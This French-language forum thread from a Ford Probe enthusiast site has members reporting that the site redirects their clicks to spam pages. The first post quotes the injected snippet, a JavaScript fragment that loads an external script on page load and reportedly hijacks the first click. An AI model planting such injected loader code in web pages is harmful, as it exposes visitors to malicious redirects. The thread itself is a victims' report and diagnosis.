Bienvenue, Invité

ClickJacking sur le site

Page :
1
2

SUJET :

ClickJacking sur le site 13 Sep 2026 13:32 #192418

psyko
Auteur du sujet
Hors Ligne
Membre platinium
Messages : 502

depuis quelques jours, mon PC a un comportement étrange spécialement sur ce site.
En cherchant, j'ai découvert qu'Adobe Magento a été piraté avec un score CVSS de 10/10..
plus de détails sur www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-1130

Elle intercepte le premier clic sur la page a cause de ce morceau de code qui charge un script externe dans le site ford-probe.fr :

<script>
document.addEventListener('DOMContentLoaded', function(){
    var s=document.createElement('script');
    s.src='https://ads.magentosites.cloud/themes.js';
    document.head.appendChild(s);

ce script "themes.js" redigire le premier clic vers le site malveillant"effectivecpmnetwork.com" (sauf quand le cookie est déjà posé sur le poste client)...

Probe 2.0L 16V 1996

Connexion ou Créer un compte pour participer à la conversation.

Dernière édition: par psyko.

ClickJacking sur le site 13 Sep 2026 17:41 #192420

wickerman Hors Ligne Membre platinium Messages : 3295	j ai le meme probleme.... en cliquant sur certain lien comme index ou la maintenant '' reponde rapide " cela m ouvre des fenetre spam.... je vais prevenir le webmaster Après un FSDET.... un KLDET.
	Connexion ou Créer un compte pour participer à la conversation.

ClickJacking sur le site 13 Sep 2026 18:20 #192421

cali Hors Ligne Membre premium Messages : 154	idem pour moi
	Connexion ou Créer un compte pour participer à la conversation.

ClickJacking sur le site 13 Sep 2026 20:27 #192424

Yanne13 Hors Ligne Membre platinium Messages : 665	Salut Pareil,ça devient intenable,😤 A++ Tous les jours quand je la vois,le sourire me monte au lèvre....😍
	Connexion ou Créer un compte pour participer à la conversation.

ClickJacking sur le site 14 Sep 2026 19:28 #192426

sagittaire57 Hors Ligne Administrateur Messages : 2274	Salut la compagnie c'est normalement réglé mais jusqu'à quand? J'en sais malheureusement rien... A+ Greg
	Connexion ou Créer un compte pour participer à la conversation.

ClickJacking sur le site 14 Sep 2026 20:21 #192427

wickerman Hors Ligne Membre platinium Messages : 3295	merci Greg Après un FSDET.... un KLDET.
	Connexion ou Créer un compte pour participer à la conversation.

ClickJacking sur le site 28 Sep 2026 11:34 #192464

cali Hors Ligne Membre premium Messages : 154	Hello, Me concernant ça recommence depuis quelque jours. Aussi bien sur mon ordinateur que mon téléphone.
	Connexion ou Créer un compte pour participer à la conversation.

ClickJacking sur le site 28 Sep 2026 21:52 #192467

Yanne13 Hors Ligne Membre platinium Messages : 665	Salut, Ici c'est reparti de plus belle depuis deux jours,pire qu'avant,....🤬🤬 A++ Tous les jours quand je la vois,le sourire me monte au lèvre....😍
	Connexion ou Créer un compte pour participer à la conversation.

ClickJacking sur le site 17 Oct 2026 02:15 #192492

sagittaire57 Hors Ligne Administrateur Messages : 2274	oui je sais, ça devient chiant mais je fais ce que je peux D'ailleurs, si quelqu'un veux me racheter le nom de domaine et le forum pour s'en occuper, il n'y a pas de soucis
	Connexion ou Créer un compte pour participer à la conversation. Dernière édition: par sagittaire57.

ClickJacking sur le site 17 Oct 2026 15:41 #192493

psyko
Auteur du sujet
Hors Ligne
Membre platinium
Messages : 502

Salut,
Je comprends ton agacement.
En effet, ça doit être compliqué à corriger, surtout si c'est l'hebergeur qui a la main sur les mises à jour de ses composants...

Pour le visiteur, Il existe un bon moyen d'être tranquille sur le net! C'est en filtrant toutes les pubs et autres.
En réglant le DNS sur 'clean.dnsforge.de' sur le téléphone ou ordinateur. Ainsi, Il ne résoudra pas les noms de domaine des sites frauduleux.
L'inconvénient c'est que les sites qui se rémunèrent exclusivement avec la publicité peuvent bloquer leurs accès.

Au niveau Européen, il existe aussi DNS4EU qui offre ce genre de service public gratuitement.

Probe 2.0L 16V 1996

Connexion ou Créer un compte pour participer à la conversation.

Dernière édition: par psyko.

Page :
1
2

ClickJacking sur le site

Propulsé par Kunena